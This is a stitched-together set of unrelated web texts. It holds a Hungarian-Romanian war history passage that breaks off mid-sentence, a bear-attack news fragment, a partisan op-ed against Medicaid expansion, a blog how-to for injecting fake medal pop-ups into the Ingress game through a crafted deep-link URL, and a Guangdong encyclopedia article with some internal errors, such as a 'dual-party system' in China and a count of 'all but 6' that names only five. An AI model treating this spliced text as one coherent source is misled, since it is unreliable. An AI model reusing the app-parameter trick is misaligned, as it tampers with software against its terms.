On 13 November 1918 Károlyi signed an armistice with the Allied nations in Belgrade. It limited the size of the Hungarian army to six infantry and two cavalry divisions.[9] Demarcation lines defining the territory to remain under Hungarian control were made. The lines would apply until definitive borders could be established. Under the terms of the armistice, Serbian and French troops advanced from the south, taking control of the Banat and Croatia. Czechoslovakia took control of Upper Hungary and Carpathian Ruthenia. Romanian forces were permitted to advance to the Maros (Mureș) River. However, on 14 November 1918 Serbia occupied Pécs.[10][11]
Interventions, fall of the liberal regime and Communist coup d'état [ edit ]
The Károlyi government failed to manage both domestic and military issues and lost popular support. On 20 March 1919 Béla Kun, who had been imprisoned in the Markó Street prison, was released.[12] On 21 March 1919 he led a successful communist coup d'état. Károlyi was deposed and arrested.[13] Kun formed a social democratic, communist coalition government and proclaimed the Hungarian Soviet Republic. Days later the Communists purged the Social Democrats from the government.[14][15] The Hungarian Soviet Republic was a small communist rump state[16]. When the Republic of Councils in Hungary was established, it controlled only approximately 23% of the territory of Hungary's classic territories.
The Communists remained bitterly unpopular[17] in the Hungarian countryside, where the authority of that government was often nonexistent.[18] The communist party and communist policies only had real popular support among the proletarian masses of large industrial centers – especially in Budapest – where the working class represented a high proportion of the inhabitants. The communist government followed the Soviet solution: the party established its terror groups (like the infamous Lenin boys) to "overcome the obstacles" in the Hungarian countryside. This was later known as the Red Terror in Hungary.
The new government promised equality and social justice. It proposed that Hungary be restructured as a federation. The proposal was designed to appeal to both domestic and foreign opinion. Domestic considerations included maintaining the territorial integrity and economic unity of former crown lands, and protecting the nation's borders. The government had popular support and the support of the army. Most of the officers in the Hungarian army came from regions that had been forcibly occupied during World War I. This heightened their patriotic mood.[19] Hungary as a federation would appeal to President Wilson under his doctrine of self-determination of peoples due to the nation's multi-ethnic composition. In addition, self-governed and self-directed institutions for the non-Magyar peoples of Hungary would lessen the dominance of the Magyar people.[19]
Romania [ edit ]
In 1916 Romania entered World War I on the side of the Allies. In doing so, Romania's goal was to unite all the territories with a Romanian national majority into one state.[citation needed] In the Treaty of Bucharest (1916), terms for Romania's acquisition of territories within Austria-Hungary were stipulated.
In 1918, after the October Revolution, the Bolsheviks signed a separate peace with the Central Powers in the Treaty of Brest-Litovsk. Romania was alone on the Eastern Front, a situation that far surpassed its military capabilities. Therefore, on 7 May 1918, Romania sued for peace. The prime minister of Romania, Alexandru Marghiloman, signed the Treaty of Bucharest (1918) with the Central Powers. However, this treaty was never signed by King Ferdinand of Romania.
At the end of 1918 Romania's situation was dire. She was suffering from the consequences of punitive war reparations.[20] Dobruja was under Bulgarian occupation. The German army under the command of Field Marshal August von Mackensen was retreating through Romania. The bulk of the Romanian army was demobilized, leaving only four full-strength divisions. A further eight divisions were left in a reserve status. The four battle-ready divisions were used to keep order and protect Basarabia from possible hostile actions of the Soviet Union.[citation needed]
On 10 November 1918, taking advantage of the Central Powers' precarious situation, Romania re-entered the war on the side of the Allied forces, with similar objectives to those of 1916. King Ferdinand called for the mobilization of the Romanian army and ordered it to attack by crossing the Carpathian Mountains into Transylvania. The end of World War I that soon followed did not bring an end to fighting for the Romanian army. Its action continued into 1918 and 1919 in the Hungarian-Romanian war.
November 1918 – March 1919 [ edit ]
Romanian crossing at Prisăcani and Palanca Part of Hungarian-Romanian War Date 13 November 1918 Location Transylvania (today part of Romania Result Beginning of the Hungarian-Romanian War Belligerents Kingdom of Hungary Romania
Following the Treaty of Bucharest (1918), the bulk of the Romanian army was demobilized. Only the 9th and 10th infantry divisions and the 1st and 2nd cavalry divisions were at full strength. However, those units were engaged in the protection of Bessarabia against the Bolshevik Soviet Russians.
The 1st, 7th and 8th Vânători divisions, stationed in Moldavia, were the first units to be mobilized. The 8th was sent to Bukovina and the other two were sent to Transylvania. On 13 November 1918 the 7th entered Transylvania at the Prisăcani River in the eastern Carpathians. The 1st then entered Transylvania at Palanca, Bacău.[21]
On 1 December 1918 the Union of Transylvania with Romania was officiated by the elected representatives of the Romanian people of Transylvania, who proclaimed a union with Romania. Later the Transylvanian Saxons and Banat Swabians also supported the union.[22][23]
In December 1918 Romanian units reached the line of the Maros (Mureş) River. This was a demarcation line agreed upon by the representatives of the Allied powers and Hungary at the Armistice of Belgrade. At the same time units of the German army, under the command of Marshal August von Mackensen, retreated to the west.
Following a request from Romania, the Allied Command in the east under the leadership of French Gen. Louis Franchet d'Espèrey allowed the Romanian army to advance to the line of the western Carpathians. The 7th Vânători division advanced in the direction of Kolozsvár (Cluj-Napoca). The 1st division advanced in the direction of Gyulafehérvár (Alba-Iulia). On 24 December 1918 units of the Romanian army entered Kolozsvár. By 22 January 1919 the Romanian army controlled all the territory to the Maros (Mureş) River.
The 7th and 1st divisions were spread thin, so the 2nd Division was sent to Nagyszeben (Sibiu) and the 6th Division to Brassó (Braşov). Two new infantry divisions, the 16th and 18th, were formed from Romanian soldiers previously mobilized in the Austro-Hungarian army. A unified command of the Romanian army in Transylvania was established. Its headquarters were at Nagyszeben, with Gen. Traian Moşoiu in command. Although Romania controlled new territories, it did not encompass all the ethnic Romanian population in the region.
On 28 February 1919, at the Paris Peace Conference, the council of the Allied nations notified Hungary of a new demarcation line to which the Romanian army would advance. This line coincided with railways connecting Szatmárnémeti (Sătmar), Nagyvárad (Oradea) and Arad. However, the Romanian army was not to enter these cities. A demilitarized zone was to be created, extending from the new demarcation line to 5 km beyond the line. The demilitarized zone represented the extent of Romanian territorial requests on Hungary. The retreat of the Hungarian army behind the western border of the demilitarized zone was to begin on 22 March 1919.
On 19 March 1919 Hungary received notification of the new demarcation line and demilitarized zone from French Lt. Col. Fernand Vix (the "Vix note"). The Károlyi government would not accept the terms and this was a trigger for the coup d'état by Béla Kun, who formed the Hungarian Soviet Republic.
Around this time limited skirmishes took place between Romanian and Hungarian troops. Some Hungarian elements engaged in the harassment of the Romanian population outside the area controlled by the Romanian army.[24]
April 1919 – June 1919 [ edit ]
After 21 March 1919 Romania found itself between two nations with communist governments: Hungary to the west and the Russian Soviet Federative Socialist Republic (Soviet Union) to the east. The Romanian delegation at the Paris Peace Conference asked that the Romanian army be allowed to oust Kun's communist government in Hungary.
The Allied council was aware of the communist danger to Romania. However, there was a climate of dissension in the council among Woodrow Wilson (US), David Lloyd George (UK) and Georges Clemenceau (France) about guarantees required by France on its borders with Germany. In particular, the American delegation was convinced that French hardliners around Marshal Ferdinand Foch were trying to initiate a new conflict with Germany and the Soviet Union.
The Allied council did try to defuse the situation between Romania and Hungary. On 4 April 1919 South African Gen. Jan Smuts was sent to Hungary. He carried the proposition that the Hungarian communist government under Kun abide by the conditions previously presented to Károlyi in the Vix note. Smuts' mission also represented official recognition of the Kun communist government by the Allied council. He may have asked if Kun would act as a conduit for communication between the Allied council and the Bolshevik Soviet Russians.[25]
In exchange for Hungary's agreement to the conditions set out in the Vix note, the Allied powers promised to lift the blockade of Hungary and a take a benevolent attitude towards Hungary's loss of territory to Romania, Czechoslovakia and Yugoslavia. Kun refused the terms, demanding that Romanian forces return to the line of the Maros (Mureş) River. Smuts' negotiations ceased.
Kun stalled for time[how?] in order to build a force capable of fighting Romania and Czechoslovakia. Hungary had 20,000 troops facing the Romanian army and mobilized a further 60,000. There were recruitment centers in towns such as Nagyvárad (Oradea), Gyula (Romanian: Giula), Debrecen (Romanian: Debrețin) and Szolnok (Romanian: Solnoca).
There were some elite units and officers from the former Austro-Hungarian Army, but there were also volunteers with little training. The Hungarian troops were equipped with 137 cannons and five armored trains. They were motivated by nationalist sentiments rather than communist ideals. Kun hoped that the Soviet Union would attack Romania from the east.
When Kun declined the terms of the Vix note, Romania acted to enforce the new railway demarcation line.[24]:p. 550. The Romanian army in Transylvania included 64 infantry battalions, 28 cavalry squadrons, 160 cannons, 32 howitzers, one armored train, two air squadrons and two pioneer battalions, one north and one south. Gen. George Mărdărescu commanded the Romanian army in Transylvania. The commander of the north battalion was Gen. Moşoiu.
Romania planned to take an offensive action on 16 April 1919. The north battalion was to take Nagykároly (Carei) and Nagyvárad (Oradea). This would separate the elite Hungarian Székely division from the rest of the Hungarian army. The north battalion would then outflank the Hungarian army. Simultaneously, the south battalion would advance to Máriaradna (Radna) and Belényes (Beiuş).
Foreign policy scandal and the demoralization of the Hungarian Red Army [ edit ]
In late May, after the Entente military representative demanded more territorial concessions from Hungary, Kun attempted to "fulfill" his promise to adhere to Hungary's historical borders. The men of the Hungarian Red Army were recruited mainly from the volunteers of the Budapest proletariat.[26] In June, the Hungarian Red Army invaded the eastern part of the newly-forming Czechoslovak state, approximately the former so-called "Upper Hungary". The Hungarian Red Army achieved some military success early on: under the leadership of Colonel Aurél Stromfeld, it ousted Czech troops from the north, and planned to march against the Romanian army in the east. Despite promises for the restoration of the former borders of Hungary, the communists declared the establishment of the Slovak Soviet Republic in Prešov (Eperjes) on 16 June 1919.[27] After the proclamation of the Slovak Soviet Republic, the Hungarian nationalists and patriots soon realized that the new communist government had no intentions to recapture the lost territories, only to spread communist ideology and establish other communist states in Europe, thus sacrificing Hungarian national interests.[28] The Hungarian patriots in the Red Army saw this as a betrayal, and their support for the government began to erode (the communists and |
food source and took advantage of it," he said.
He said the bear stripped Mr Williams out of his clothes and necklace and fed on him for several days.
"The bear did eat most of this guy," he said.
"He was about 85 per cent consumed."
Friends became concerned about Mr Williams days after the incident and called the sheriff's department.
They also visited his property and could smell the decaying body.
Mr Horton stressed that the bear was acting naturally after finding the man's lifeless body, and said black bears are normally timid and non-aggressive.
Wildlife officials in California report there have been no known fatal maulings by black bears.
Reuters
Topics: human-interest, animals, animal-attacks, united-states
First postedANALYSIS/OPINION:
Has Medicaid become the gold standard for our health care system?
For Democrats and moderate Republicans, the government-run program is becoming their favored solution for those lacking health insurance. Providing choices for Americans in a free market health care system has slowly eroded under Obamacare’s weight. The health insurance companies continue to pull out of markets, especially in rural America.
This week, Bloomberg reported that health insurer Anthem Inc. would quit offering Obamacare plans in much of Nevada, and 8,000 people in 13 counties will not have options on the individual insurance exchanges. Obamacare’s problems have created a national crisis, and the solution in the liberal minds is more Medicaid.
The expansion of Medicaid is troubling because more states have grown dependent on the federal money to cover the uninsured, creating a disincentive to purchase private health insurance. Medicaid, originally created to cover poor women, children and the disabled, has become a default crutch for millions more Americans.
Democrats pride themselves in using Medicaid to throw millions more Americans onto a government-run program. They barely mention salvaging the individual market and reducing premiums, and instead offer Medicaid as the panacea for middle-class Americans being squeezed out of the private marketplace.
But Medicaid expansion creates disincentives to work and keeps people trapped in a cycle of dependency and poverty. Bloomberg reported that several studies, including a 2014 Congressional Budget Office analysis, make the case that Medicaid results in “significant and lasting reductions in employment” for adults without children, according to a National Bureau of Economic Research working paper.
This research showed that if 21 million additional adults enroll in Medicaid, employment will fall by between 511,000 and 2.2 million people. The 2014 CBO study also addressed this issue of Obamacare’s Medicaid expansion having a negative effect on the labor supply. Medicaid brings people down and does not give able-bodied men and women any incentive to participate in the workforce.
While moderate Republicans and liberals want to curb the expansion of Medicaid, they should also remember that pushing for an expansion of this entitlement program is not a healthy solution for our labor market. Americans want real choices and not just a poorly run government program as their only option.
The expansion of Medicaid is just the first step toward the single-payer system so beloved by the left. It is their vision for America’s future health care system, a system where competition is undermined and more Americans depend on the government for help.
Now it’s time for President Trump to make his case to voters that real reforms are needed to fix Obamacare. He needs to use his bully pulpit to deliver the message and explain why these changes are needed to help stabilize the individual markets and help the middle class deal with the rising premium costs.
While he’s at it, he can explain that it’s not helpful to push more able-bodied working Americans into Medicaid. We need to make health care more affordable, where individuals can pick their own options instead of being left out in the cold or forced into a government program.
A government program, by definition, can never be the gold standard.
• Mercedes Schlapp is a Fox News contributor, co-founder of Cove Strategies and former White House director of specialty media under President George W. Bush.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.UPDATE: No longer works after Ingress version 1.69.0.
DISCLAIMER: We all know there will be that one guy who complains and blames us for getting them banned. Anything you click on or follow in this post is at your own risk and we take zero liability for your actions.
Make it past the disclaimer? Good. Now for the fun part!
NOTE: These tests were done using an Android device. This may not work on iOS.
1) With your phone, open the the following link or scan the QR code.
http://goo.gl/YRtBTJ
2) When asking what to open the link with, select Ingress and tap “Just once“.
If all went correctly, you should have a Medal Earned pop up when your scanner loads. Like the title suggests, this is just for fun. It isn’t permanent, you don’t get to keep it.
How do I make my own?
Glad you asked! Follow these steps and try making your own.
1) Find or make a custom image, and make sure it is in png format (for transparency). For best results, make a Hexagon or circle, leaving the outer edges transparent.
For this example, I’ll be using a Boba Fett helmet.
2) Upload your prepared png image to a website like imgur. Save the direct link URL.
Example: http://i.imgur.com/Vklauql.png
3) Think of a title for your custom medal. For this example, we’ll be using the title Bounty Hunter.
4) Insert your Title and image link into the following URL leaving the quotation marks:
https://www.ingress.com/app?extras={"achievement":{"tiers":[{"badgeImageUrl":"http://i.imgur.com/YourImageHere.png"}],"title":"Your title here"},"source":"SHOULD_NOT_APPEAR_IN_ANALYTICS"}
Example:
https://www.ingress.com/app?extras={"achievement":{"tiers":[{"badgeImageUrl":"http://i.imgur.com/Vklauql.png"}],"title":"Bounty Hunter"},"source":"SHOULD_NOT_APPEAR_IN_ANALYTICS"}
5) Paste your customized link into a URL shortner or a QR generator. Open the short link or QR on your phone, and open with Ingress when prompt. If all went well, you will see a pop up in-game of your custom medal. Reminder, this is not permanent, just a for fun pop up.
http://goo.gl/u9Pla2
Enjoy!Most populous province of the People's Republic of China
Not to be confused with Guandong
Province
Guangdong ([kwàŋ.tʊ́ŋ] (); formerly romanised as Kwangtung or Canton Province) is a province in South China, on the South China Sea coast. Guangdong surpassed Henan and Shandong to become the most populous province in China in January 2005, registering 79.1 million permanent residents and 31 million migrants who lived in the province for at least six months of the year;[5][6] the total population was 104,303,132 in the 2010 census, accounting for 7.79 percent of Mainland China's population.[7] This also makes it the most populous first-level administrative subdivision of any country outside of South Asia, as its population is surpassed only by those of the Pakistani province of Punjab[8] and the Indian states of Bihar, Maharashtra and Uttar Pradesh.[9] The provincial capital Guangzhou and economic hub Shenzhen are among the most populous and important cities in China. The population increase since the census has been modest, the province registering 108,500,000 people in 2015.[10]
Most of the historical Guangdong Province is administered by the People's Republic of China (PRC). However, the archipelagos of Pratas in the South China Sea are controlled by the Republic of China (ROC, a.k.a. Taiwan), and were previously part of Guangdong Province before the Chinese Civil War.[11][12]
Since 1989, Guangdong has topped the total GDP rankings among all provincial-level divisions, with Jiangsu and Shandong second and third in rank. According to state statistics, Guangdong's GDP in 2017 reached 1.42 trillion US dollars (CNY 8.99 trillion), making its economy roughly the same size as Mexico. The province contributes approximately 12% of the PRC's national economic output, and is home to the production facilities and offices of a wide-ranging set of Chinese and foreign corporations. Guangdong also hosts the largest import and export fair in China, the Canton Fair, hosted in the provincial capital of Guangzhou.
Name [ edit ]
"Guǎng" (simplified Chinese: 广; traditional Chinese: 廣) means "expanse" or "vast", and has been associated with the region since the creation of Guang Prefecture in AD 226.[13] Guangdong and neighbouring Guangxi literally mean "expanse east" and "expanse west". Together, Guangdong and Guangxi are called Loeng gwong (Liangkwang; traditional Chinese: 兩廣; simplified Chinese: 两广; pinyin: liǎng guǎng; Cantonese Yale: léuhng gwóng; literally: 'Two Expanses") Vietnamese: QuangDong Province. During the Song dynasty, the Two Guangs were formally separated as Guǎngnán Dōnglù (廣南東路; 广南东路; 'vast south east region") and Guǎngnán Xīlù (廣南西路; 广南西路; 'vast south west region"), which became abbreviated as Guǎngdōng Lù (廣東路; 广东路) and Guǎngxī Lù (廣西路; 广西路).
"Canton", though etymologically derived from Cantão (the Portuguese transliteration of "Guangdong"), refers only to the provincial capital instead of the whole province, as documented by authoritative English dictionaries. The local people of the city of Guangzhou (Canton) and their language are called Cantonese in English. Because of the prestige of Canton and its accent, Cantonese sensu lato can also be used for the phylogenetically related residents and Chinese dialects outside the provincial capital.
History [ edit ]
The Neolithic era began in the Pearl River Delta (珠江三角洲) 7,000 years before present (BP), with the early period from around 7000 to 5000 BP (c. 5050–3050 BC), and the late period from about 5000 to 3500 BP (c. 3050–1550 BC). In coastal Guangdong, the Neolithic was likely introduced from the middle Yangtze River area (Jiao 2013). In inland Guangdong, the neolithic appeared in Guangdong 4,600 years before present (BP). The Neolithic in northern inland Guangdong is represented by the Shixia culture (石峽文化), which occurred from 4600–4200 BP (c. 2650–2250 BC).[14]
Originally inhabited by a mixture of tribal groups known to the Chinese as the Baiyue ("Hundred Yue"), the region first became part of China during the Qin dynasty. Under the Qin Dynasty, Chinese administration began and along with it reliable historical records in the region. After establishing the first unified Chinese empire, the Qin expanded southwards and set up Nanhai Commandery at Panyu, near what is now part of Guangzhou. The region was a independent kingdom as Nanyue between the fall of Qin and the reign of Emperor Wu of Han. The Han dynasty administered Guangdong, Guangxi, and northern Vietnam as Jiaozhi Province, southernmost Jiaozhi Province was used as a gateway for traders from the west—as far away as the Roman Empire. Under the Wu Kingdom of the Three Kingdoms period, Guangdong was made its own province, the Guang Province, in 226 CE.[citation needed]
As time passed, the demographics of what is now Guangdong gradually shifted to (Han) Chinese dominance as the populations intermingled due to commerce along the great canals, and abruptly shifted through massive migration from the north during periods of political turmoil and nomadic incursions from the fall of the Han dynasty onwards. For example, internal strife in northern China following the rebellion of An Lushan resulted in a 75% increase in the population of Guangzhou prefecture between the 740s–750s and 800s–810s.[15] As more migrants arrived, the local population was gradually assimilated to Han Chinese culture[16] or displaced.
Together with Guangxi, Guangdong was made part of Lingnan Circuit (political division Circuit), or Mountain-South Circuit, in 627 during the Tang dynasty. The Guangdong part of Lingnan Circuit was renamed Guangnan East Circuit guǎng nán dōng lù in 971 during the Song dynasty (960–1279). "Guangnan East" (廣南東) is the source of the name "Guangdong" (廣東; 广东).[17]:227
As Mongols from the north engaged in their conquest of China in the 13th century, the Southern Song court fled southwards from its capital in Hangzhou. The defeat of the Southern Song court by Mongol naval forces in The Battle of Yamen 1279 in Guangdong marked the end of the Southern Song dynasty (960–1279).[18]
During the Mongol Yuan dynasty, large parts of current Guangdong belonged to Jiangxi.[19] Its present name, "Guangdong Province" was given in early Ming dynasty.
Since the 16th century, Guangdong has had extensive trade links with the rest of the world. European merchants coming northwards via the Straits of Malacca and the South China Sea, particularly the Portuguese and British, traded extensively through Guangzhou. Macau, on the southern coast of Guangdong, was the first European settlement in 1557.[citation needed]
In the 19th century, the opium traded through Guangzhou triggered the First Opium War, opening an era of Western imperialists' incursion and intervention in China. In addition to Macau, which was then a Portuguese colony, Hong Kong was ceded to the British, and Kwang-Chou-Wan (modern day area of Zhanjiang) to the French.[citation needed]
Due to the large number of people that emigrated out of the Guangdong province, many overseas Chinese communities have their origins in Guangdong. In particular, the Cantonese and Teochew dialects have proportionately more speakers among overseas Chinese people than Mandarin-speaking Chinese. Additionally, many Cantonese-speaking Chinese emigrated to Western countries, with the results that many Western versions of Chinese words were derived from the Cantonese dialects rather than through the main stream Mandarin language, such as "dim sum". Some Mandarin Chinese words originally of foreign origin also came from the original foreign language by way of Cantonese. For example, the Mandarin word níngméng (simplified Chinese: 柠檬; traditional Chinese: 檸檬), meaning "Lemon", came from Cantonese, in which the characters are pronounced as lìng mung.[20] In the United States, there is a large number of Chinese who are descendants of immigrants from the county-level city of Taishan (Toisan in Cantonese), who speak a distinctive dialect related to Cantonese called Taishanese (or Toishanese).
During the 1850s, the Taiping Rebellion, whose leader Hong Xiuquan was born in Guangdong and received a pamphlet from a Protestant Christian missionary in Guangdong, became a widespread civil war in southern China. Because of direct contact with the West, Guangdong was the center of anti-Manchu and anti-imperialist activity. The generally acknowledged founder of modern China, Sun Yat-sen, was also from Guangdong.
During the early 1920s of the Republic of China, Guangdong was the staging area for Kuomintang (KMT) to prepare for the Northern Expedition, an effort to bring the various warlords of China back under the central government. Whampoa Military Academy was built near Guangzhou to train military commanders.
In recent years, the province has seen extremely rapid economic growth, aided in part by its close trading links with Hong Kong, which borders it. It is now the province with the highest gross domestic product in China.
In 1952, a small section of Guangdong's coastline was given to Guangxi, giving it access to the sea. This was reversed in 1955, and then restored in 1965. Hainan Island was originally part of Guangdong, but it was separated as its own province in 1988.
Geography [ edit ]
Guangdong faces the South China Sea to the south and has a total of 4,300 km (2,700 mi) of coastline. The Leizhou Peninsula is on the southwestern end of the province. There are a few inactive volcanoes on Leizhou Peninsula. The Pearl River Delta is the convergent point of three upstream rivers: the East River, North River, and West River. The river delta is filled with hundreds of small islands. The province is geographically separated from the north by a few mountain ranges collectively called the Nan Mountains (Nan Ling). The highest peak in the province is Shikengkong with an elevation of 6,240 feet (1,902 meters) above sea level.
Guangdong borders Fujian to the northeast, Jiangxi and Hunan to the north, Guangxi autonomous region to the west, and Hong Kong and Macau Special Administrative Regions to the south. Hainan is offshore across from the Leizhou Peninsula. The Pratas Islands, which were traditionally governed as part of Guangdong, are now administered by the Republic of China on Taiwan.[21]
Cities around the Pearl River Delta include Dongguan, Foshan, Guangzhou, Huizhou, Jiangmen, Shenzhen, Shunde, Taishan, Zhongshan and Zhuhai. Other cities in the province include Chaozhou, Chenghai, Nanhai, Shantou, Shaoguan, Zhanjiang, Zhaoqing, Yangjiang and Yunfu.
Guangdong has a humid subtropical climate (Köppen Cfa inland, Cwa along the coast), though nearing a tropical climate in the far south. Winters are short, mild, and relatively dry, while summers are long, hot, and very wet. Average daily highs in Guangzhou in January and July are 18 °C (64 °F) and 33 °C (91 °F), respectively, although the humidity makes it feel much hotter in summer. Frost is rare on the coast but may happen a few days each winter well inland.
Economy [ edit ]
The economy of Guangdong is large enough to be compared to that of many countries. In 2017, the gross domestic product (GDP) is about $1331.19 billion, Guangdong has been the largest province by GDP since 1989 in Mainland China. Guangdong is responsible for 10.87 percent of the China' $12.25 trillion GDP.[22] In 2015, Guangdong's GDP was slightly larger than that of Mexico ranking 15th in terms of US dollar or Purchasing Power Parity. Comparable to that of country subdivisions in dollar terms, Guangdong's GDP is larger than that of all but 6 country subdivisions: England, California, Texas, New York and Tokyo. It is comparable to the GDP of the Los Angeles metropolitan area.
Shops in one of the streets of Guangzhou specialize in selling various electronic components, supplying the needs of local consumer electronics manufacturers. The shop in front is in the LED business.
This is a trend of official estimates of the gross domestic product of the Province of Guangdong with figures in millions of Chinese Yuan:
Historical GDP of Guangdong Province for 1978 –present (SNA2008)[23]
(purchasing power parity of Chinese Yuan, as Int'l.dollar based on IMF WEO October 2017[24]) year GDP GDP per capita (GDPpc)
based on mid-year population Reference index GDP in millions real
growth
(%) GDPpc exchange rate
1 foreign currency
to CNY CNY USD PPP
(Int'l$.) CNY USD PPP
(Int'l$.) USD 1 Int'l$. 1
(PPP) 2016 8,085,491 1,217,273 2,306,121 7.5 74,016 11,143 21,111 6.6423 3.5061 2015 7,402,743 1,188,546 2,085,809 8.0 68,629 11,019 19,337 6.2284 3.5491 2014 6,890,143 1,121,662 1,940,721 7.8 64,491 10,499 18,165 6.1428 3.5503 2013 6,345,544 1,024,599 1,774,034 8.5 59,756 9,649 16,706 6.1932 3.5769 2012 5,799,354 918,710 1,633,253 8.2 54,973 8,709 15,482 6.3125 3.5508 2011 5,395,920 835,437 1,539,273 10.0 51,523 7,977 14,698 6.4588 3.5055 2010 4,657,712 688,044 1,406,909 12.4 45,284 6,689 13,678 6.7695 3.3106 2005 2,272,329 277,394 794,799 14.1 24,828 3,031 8,684 8.1917 2.8590 2000 1,081,021 130,583 397,536 11.5 12,818 1,548 4,714 8.2784 2.7193 1990 155,903 32,594 91,568 11.6 2,484 519 1,459 4.7832 1.7026 1980 24,965 16,661 16,693 16.6 481 321 322 1.4984 1.4955 1978 18,585 11,039 1.0 370 220 1.6836
After the communist revolution and until the start of the Deng Xiaoping reforms in 1978, Guangdong was an economic backwater, although a large underground, service-based economy has always existed. Economic development policies encouraged industrial development in the interior provinces which were weakly joined to Guangdong via transportation links. The government policy of economic autarky made Guangdong's access to the ocean irrelevant.[citation needed]
Deng Xiaoping's open door policy radically changed the economy of the province as it was able to take advantage of its access to the ocean, proximity to Hong Kong, and historical links to overseas Chinese. In addition, until the 1990s when the Chinese taxation system was reformed, the province benefited from the relatively low rate of taxation placed on it by the central government due to its post-Liberation status of being economically backward.[citation needed]
Guangdong's economic boom began with the early 1990s and has since spread to neighboring provinces, and also pulled their populations inward. The economic growth of Guangdong province owes much to the low-value-added manufacturing which characterized (and in many ways still defines) the province's economy following Deng Xiaoping's reforms. Guangdong is not only China's largest exporter of goods, it is the country's largest importer as well.[25]
The province is now one of the richest in the nation, with the most billionaires in mainland China,[26] the highest GDP among all the provinces, although wage growth has only recently begun to rise due to a large influx of migrant workers from neighboring provinces. In 2011, Guangdong's aggregate nominal GDP reached 5.30 trillion RMB (US$838.60 billion) with a per capita GDP of 47,689 RMB.[27] By 2015, the local government of Guangdong hopes that the service industry will account for more than 50 percent of the provinces GDP and high-tech manufacturing another 20 percent.[25]
In 2009, Guangdong's primary, secondary, and tertiary industries were worth 201 billion yuan, 1.93 trillion yuan, and 1.78 trillion yuan, respectively.[28] Its per capita GDP reached 40,748 yuan (about US$5,965).[29] Guangdong contributes approximately 12% of the total national economic output.[30] Now, it has three of the six Special Economic Zones: Shenzhen, Shantou and Zhuhai. The affluence of Guangdong, however, remains very concentrated near the Pearl River Delta.
In 2008 its foreign trade also grew 7.8% from the previous year and is also by far the largest of all of China. By numbers, Guangdong's foreign trade accounts for more than a quarter of China's US$2.56 trillion foreign trade or roughly US$683 billion.[31]
Economic and technological development zones [ edit ]
Shenzhen Export Processing Zone
Shenzhen Futian Free Trade Zone [32]
Shenzhen Hi-Tech Industrial Park
Yantian Port Free Trade Zone
Foshan National New & Hi-Tech Industrial Development Zone [33]
Guangzhou Development District
Guangzhou Export Processing Zone
Guangzhou Free Trade Zone
Guangzhou Nansha Economic and Technical Development Zone
Guangzhou Nanhu Lake Tourist Holiday Resort (Chinese Version)
Guangzhou New & Hi-Tech Industrial Development Zone
Huizhou Dayawan Economic and Technological Development Zone
Huizhou Export Processing Zone
Huizhou Zhongkai Hi-Tech Development Zone
Nansha Free Trade Zone
Shantou Free Trade Zone
Shatoujiao Free Trade Zone
Zhanjiang Economic and Technological Development Zone (Chinese Version)
Zhuhai National Hi-Tech Industrial Development Zone
Zhuhai Free Trade Zone
Zhongshan Torch High-tech Industrial Development Zone
Demographics [ edit ]
Guangzhou is the third largest city in the People's Republic of China
Historical population Year Pop. ±% 1912[34] 28,011,000 — 1928[35] 32,428,000 +15.8% 1936-37[36] 32,453,000 +0.1% 1947[37] 27,210,000 −16.2% 1954[38] 34,770,059 +27.8% 1964[39] 42,800,849 +23.1% 1982[40] 59,299,220 +38.5% 1990[41] 62,829,236 +6.0% 2000[42] 85,225,007 +35.6% 2010[43] 104,303,132 +22.4% Hainan Province part of Guangdong Province until 1988.
Guangzhou part of Guangdong Province until 1947; dissolved in 1954 and incorporated into Guangdong Province.
Guangdong officially became the most populous province in January 2005.[5][6] Official statistics had traditionally placed Guangdong as the 4th-most populous province of China with about 80 million people (also, Sichuan, traditionally the most populous province, was divided into Sichuan and Chongqing in 1997) but recently released information suggests that there are an additional 30 million migrants who reside in Guangdong for at least six months every year, making it the most populous province with a population of more than 110 million.[44] The massive influx of migrants from other provinces, dubbed the "floating population", is due to Guangdong's booming economy and high demand for labor. If Guangdong were an independent nation, it would rank among the twenty largest countries of the world by population, more populous than France, Germany, or the United Kingdom, and more populous than the largest three US states (California, Texas, and Florida) combined.
Guangdong is also the ancestral home of large numbers of overseas Chinese. Most of the railroad laborers in Canada, Western United States and Panama in the 19th century came from Guangdong. Many people from the region also travelled to the US / California during the gold rush of 1849, and also to Australia during its gold rush a decade or so later.
The majority of the province's population is Han Chinese. Within the Han Chinese, the largest subgroup in Guangdong are the Cantonese people. Two other major groups are the Teochew people in Chaoshan and the Hakka people in Huizhou, Meizhou, Heyuan, Shaoguan and Zhanjiang. There is a small Yao population in the north. Other smaller minority groups include She, Miao, Li, and Zhuang.
Guangdong has a highly unbalanced gender ratio that is among the highest of all provinces in China. According to a 2009 study published in the British Medical Journal, in the 1–4 age group, there are over 130 boys for every 100 girls.[47]
Religion [ edit ]
According to a 2012 survey[45] only around 7% of the population of Guangdong belongs to organised religions, the largest groups being Buddhists with 6.2%, followed by Protestants with 0.8% and Catholics with 0.2%. Around 93% of the population is either irreligious or may be involved in Chinese folk religions worshipping nature gods, ancestral deities, popular sects, Taoist traditions, Buddhist religious traditions & Confucian religious traditions.
According to a survey conducted in 2007, 43.71% of the population believes and is involved in ancestor veneration,[48] the traditional Chinese religion of the lineages organised into lineage churches and ancestral shrines.
Politics [ edit ]
Guangdong is governed by a dual-party system like the rest of China. The Governor is in charge of provincial affairs; however, the Communist Party Secretary, often from outside of Guangdong, keeps the Governor in check.
Relations with Hong Kong and Macau [ edit ]
Hong Kong and Macau, while historically parts of Guangdong before becoming colonies of the United Kingdom and Portugal, respectively, are special administrative regions (SARs). Furthermore, the Basic Laws of both SARs explicitly forbid provincial governments from intervening in local politics. As a result, many issues with Hong Kong and Macau, such as border policy and water rights, have been settled by negotiations between the SARs' governments and the Guangdong provincial government.
Media [ edit ]
Guangdong and the greater Guangzhou area are served by several Radio Guangdong stations, Guangdong Television, Southern Television Guangdong, Shenzhen Television, and Guangzhou Television. There is an English programme produced by Radio Guangdong which broadcasts information about this region to the entire world through the WRN Broadcast.
Culture [ edit ]
The central region, which is also the political and economic center, is populated predominantly by Yue Chinese speakers, though the influx in the last three decades of millions of Mandarin-speaking immigrants has slightly diminished Cantonese linguistic dominance. This region is associated with Cantonese cuisine. Cantonese opera is a form of Chinese opera popular in Cantonese speaking areas. Related Yue dialects are spoken in most of the western half of the province.
The area comprising the cities of Chaozhou, Shantou and Jieyang in coastal east Guangdong, known as Chaoshan, forms its own cultural sphere. The Teochew people here, along with Hailufeng people in Shanwei, speak Teochew, which is a Min dialect closely related to mainstream Southern Min (Hokkien) and their cuisine is Teochew cuisine. Teochew opera is also well-known and has a unique form.
